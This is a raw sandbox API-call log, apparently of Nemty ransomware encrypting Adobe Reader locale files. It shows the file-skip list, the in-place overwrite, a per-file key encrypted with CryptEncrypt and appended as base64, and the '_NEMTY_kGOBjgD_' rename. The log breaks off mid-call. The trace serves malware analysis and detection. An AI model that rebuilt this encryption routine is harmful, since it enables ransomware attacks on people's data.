[0177.959] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=128512, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1f600 [0177.959] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0177.959] CloseHandle (hObject=0x2e8) returned 1 [0177.959] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0177.959] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0177.959] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0177.959] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0177.959] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0177.959] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0177.959] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0177.959] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0177.959] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0177.959] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0177.959] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\Checkers.HUN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hu_hu\\checkers.hun"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\Checkers.HUN._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hu_hu\\checkers.hun._nemty_kgobjgd_")) returned 1 [0177.960] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0177.960] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0177.960] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0177.960] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0177.960] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0177.960] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0177.960] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0177.960] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0177.960] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x831e3ae0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x20000, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="DigSig.HUN", cAlternateFileName="")) returned 1 [0177.960] lstrcmpiW (lpString1="DigSig.HUN", lpString2=".") returned 1 [0177.960] lstrcmpiW (lpString1="DigSig.HUN", lpString2="..") returned 1 [0177.960] lstrcmpiW (lpString1="DigSig.HUN", lpString2="...") returned 1 [0177.960] lstrcmpiW (lpString1="DigSig.HUN", lpString2="windows") returned -1 [0177.960] lstrcmpiW (lpString1="DigSig.HUN", lpString2="$RECYCLE.BIN") returned 1 [0177.960] lstrcmpiW (lpString1="DigSig.HUN", lpString2="rsa") returned -1 [0177.960] lstrcmpiW (lpString1="DigSig.HUN", lpString2="NTDETECT.COM") returned -1 [0177.960] lstrcmpiW (lpString1="DigSig.HUN", lpString2="ntldr") returned -1 [0177.960] lstrcmpiW (lpString1="DigSig.HUN", lpString2="MSDOS.SYS") returned -1 [0177.960] lstrcmpiW (lpString1="DigSig.HUN", lpString2="IO.SYS") returned -1 [0177.960] lstrcmpiW (lpString1="DigSig.HUN", lpString2="boot.ini") returned 1 [0177.960] lstrcmpiW (lpString1="DigSig.HUN", lpString2="boot.ini") returned 1 [0177.960] lstrcmpiW (lpString1="DigSig.HUN", lpString2="AUTOEXEC.BAT") returned 1 [0177.960] lstrcmpiW (lpString1="DigSig.HUN", lpString2="ntuser.dat") returned -1 [0177.960] lstrcmpiW (lpString1="DigSig.HUN", lpString2="desktop.ini") returned 1 [0177.960] lstrcmpiW (lpString1="DigSig.HUN", lpString2="CONFIG.SYS") returned 1 [0177.960] lstrcmpiW (lpString1="DigSig.HUN", lpString2="RECYCLER") returned -1 [0177.960] lstrcmpiW (lpString1="DigSig.HUN", lpString2="BOOTSECT.BAK") returned 1 [0177.960] lstrcmpiW (lpString1="DigSig.HUN", lpString2="bootmgr") returned 1 [0177.961] lstrcmpiW (lpString1="DigSig.HUN", lpString2="programdata") returned -1 [0177.961] lstrcmpiW (lpString1="DigSig.HUN", lpString2="appdata") returned 1 [0177.961] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0177.961] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.HUN", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0177.961] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.HUN", cchWideChar=10, lpMultiByteStr=0x653e890, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DigSig.HUN", lpUsedDefaultChar=0x0) returned 10 [0177.961] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0177.961] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.HUN", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0177.961] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.HUN", cchWideChar=10, lpMultiByteStr=0x653e890, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DigSig.HUN", lpUsedDefaultChar=0x0) returned 10 [0177.961] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0177.961] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0177.961] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0177.961] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.HUN", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0177.961] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.HUN", cchWideChar=10, lpMultiByteStr=0x653e8e0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DigSig.HUN", lpUsedDefaultChar=0x0) returned 10 [0177.961] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0177.961] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0177.961] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.HUN", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0177.961] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.HUN", cchWideChar=10, lpMultiByteStr=0x653e918, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DigSig.HUN", lpUsedDefaultChar=0x0) returned 10 [0177.961] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0177.961] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0177.961] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0177.961] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0177.961] Sleep (dwMilliseconds=0x5) [0177.963] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1db88ab0, dwHighDateTime=0x1d561e8)) [0177.963] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1db88ab0, dwHighDateTime=0x1d561e8)) [0177.963] GetLastError () returned 0x0 [0177.963] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0177.963] GetLastError () returned 0x0 [0177.963] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0177.963] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0177.963] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0177.963] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0177.963] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0177.963] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0177.963] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0177.963] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e5dc | out: pszString="xCyxPHF0N8nSb/ce0iuUBhG1iZz2CLJvI68+/K8Mz4bQifRpISNWrTAYmJEQFu/k\r\nL+1zKCKvyJVBCgTaFV9f15HgOnnCNodNKwZZzLecNbN5KdgYoQ3ubbcrZWFZj5q0\r\nbOGzGHcoG+KpYaR5p2vG+DaY9OG137UJoS8VpMogUw00rz20cIlQs9uF1CX0KjvV\r\n3GaWNpCfOwJtRLyvhtNXMWklt7B9NAt1w1WCphhS7FCJcgTkLH/HcqC6GhnU6vYC\r\nMxNDK/Dc3LCEWla7zK6MRSC1wYqoDB5P7S59rpD521UEG5N4QiUvQ/P/NyDHfQxV\r\n4xowa46xp+UxtnniGd/ceQ==\r\n", pcchString=0x653e5dc) returned 1 [0177.963] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0177.963] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0177.963] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0177.963] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0177.963] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0177.963] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0177.963] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\DigSig.HUN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hu_hu\\digsig.hun"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0177.964] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=131072) returned 1 [0177.964] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6352c48 [0177.964] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0177.964] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x19000, lpOverlapped=0x0) returned 1 [0177.973] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0177.973] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x19000, lpOverlapped=0x0) returned 1 [0177.973] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0177.973] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=131072, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x20000 [0177.973] WriteFile (in: hFile=0x2e8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0177.974] CloseHandle (hObject=0x2e8) returned 1 [0177.974] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0177.974] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0177.974] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0177.974] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0177.974] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0177.974] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0177.974] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0177.974] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63401b8 [0177.974] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0177.974] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0177.974] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\DigSig.HUN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hu_hu\\digsig.hun"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\DigSig.HUN._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hu_hu\\digsig.hun._nemty_kgobjgd_")) returned 1 [0177.975] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0177.975] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0177.975] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0177.975] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0177.975] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0177.975] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0177.975] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0177.975] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0177.975] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x831e3ae0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4a00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="DVA.HUN", cAlternateFileName="")) returned 1 [0177.975] lstrcmpiW (lpString1="DVA.HUN", lpString2=".") returned 1 [0177.975] lstrcmpiW (lpString1="DVA.HUN", lpString2="..") returned 1 [0177.975] lstrcmpiW (lpString1="DVA.HUN", lpString2="...") returned 1 [0177.975] lstrcmpiW (lpString1="DVA.HUN", lpString2="windows") returned -1 [0177.975] lstrcmpiW (lpString1="DVA.HUN", lpString2="$RECYCLE.BIN") returned 1 [0177.975] lstrcmpiW (lpString1="DVA.HUN", lpString2="rsa") returned -1 [0177.975] lstrcmpiW (lpString1="DVA.HUN", lpString2="NTDETECT.COM") returned -1 [0177.975] lstrcmpiW (lpString1="DVA.HUN", lpString2="ntldr") returned -1 [0177.975] lstrcmpiW (lpString1="DVA.HUN", lpString2="MSDOS.SYS") returned -1 [0177.975] lstrcmpiW (lpString1="DVA.HUN", lpString2="IO.SYS") returned -1 [0177.975] lstrcmpiW (lpString1="DVA.HUN", lpString2="boot.ini") returned 1 [0177.975] lstrcmpiW (lpString1="DVA.HUN", lpString2="boot.ini") returned 1 [0177.975] lstrcmpiW (lpString1="DVA.HUN", lpString2="AUTOEXEC.BAT") returned 1 [0177.975] lstrcmpiW (lpString1="DVA.HUN", lpString2="ntuser.dat") returned -1 [0177.975] lstrcmpiW (lpString1="DVA.HUN", lpString2="desktop.ini") returned 1 [0177.975] lstrcmpiW (lpString1="DVA.HUN", lpString2="CONFIG.SYS") returned 1 [0177.975] lstrcmpiW (lpString1="DVA.HUN", lpString2="RECYCLER") returned -1 [0177.975] lstrcmpiW (lpString1="DVA.HUN", lpString2="BOOTSECT.BAK") returned 1 [0177.975] lstrcmpiW (lpString1="DVA.HUN", lpString2="bootmgr") returned 1 [0177.975] lstrcmpiW (lpString1="DVA.HUN", lpString2="programdata") returned -1 [0177.975] lstrcmpiW (lpString1="DVA.HUN", lpString2="appdata") returned 1 [0177.975] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.HUN", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0177.975] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.HUN", cchWideChar=7, lpMultiByteStr=0x653e890, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DVA.HUN", lpUsedDefaultChar=0x0) returned 7 [0177.976] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.HUN", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0177.976] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.HUN", cchWideChar=7, lpMultiByteStr=0x653e890, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DVA.HUN", lpUsedDefaultChar=0x0) returned 7 [0177.976] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.HUN", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0177.976] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.HUN", cchWideChar=7, lpMultiByteStr=0x653e8e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DVA.HUN", lpUsedDefaultChar=0x0) returned 7 [0177.976] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.HUN", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0177.976] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.HUN", cchWideChar=7, lpMultiByteStr=0x653e918, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DVA.HUN", lpUsedDefaultChar=0x0) returned 7 [0177.976] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0177.976] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0177.976] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0177.976] Sleep (dwMilliseconds=0x5) [0177.978] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1dbaec10, dwHighDateTime=0x1d561e8)) [0177.978] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1dbaec10, dwHighDateTime=0x1d561e8)) [0177.978] GetLastError () returned 0x0 [0177.978] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0177.978] GetLastError () returned 0x0 [0177.978] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0177.978] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0177.978] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0177.978] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0177.979] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0177.979] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0177.979] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0177.979] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e5dc | out: pszString="gxJF3bpI9MiKSXJN9HRccqCSeSnl4h1/sCufVKFO7HArxUnkqJHg4LElMPl2X7mq\r\nipocvZ8f7uSd9shVivi3X9NJCZBZJXXoow1POEG7df2uAq3hRLvsgtH3OPmxXF97\r\nvXij8AUecHgcgwu5lBhwylqONGL2a7L+bW8Uf0kuhY/2WU1TsHijLbxcYkcOFIlw\r\nJUlrGnclPIfBYOcDBAXdX3GNp04ELV4TC503WHGXmRzNVxpm1fdiK+Y7dO4d0jPl\r\nbcGV01zmIq0lWlCyx1u6ivKrQtKxqq3MNR0fGInaWH2u7t//BSXlAG1LEujWF2v+\r\ncFlROJIQX+mSxJO8fUU0uQ==\r\n", pcchString=0x653e5dc) returned 1 [0177.979] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0177.979] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0177.979] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0177.979] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0177.979] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0177.979] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0177.979] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\DVA.HUN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hu_hu\\dva.hun"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0177.979] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=18944) returned 1 [0177.979] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x4a00) returned 0x6352c48 [0177.979] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0177.979] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x4a00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x4a00, lpOverlapped=0x0) returned 1 [0177.982] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0177.982] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x4a00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x4a00, lpOverlapped=0x0) returned 1 [0177.982] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0177.982] SetFilePointer (in: hFile=0x2e8, 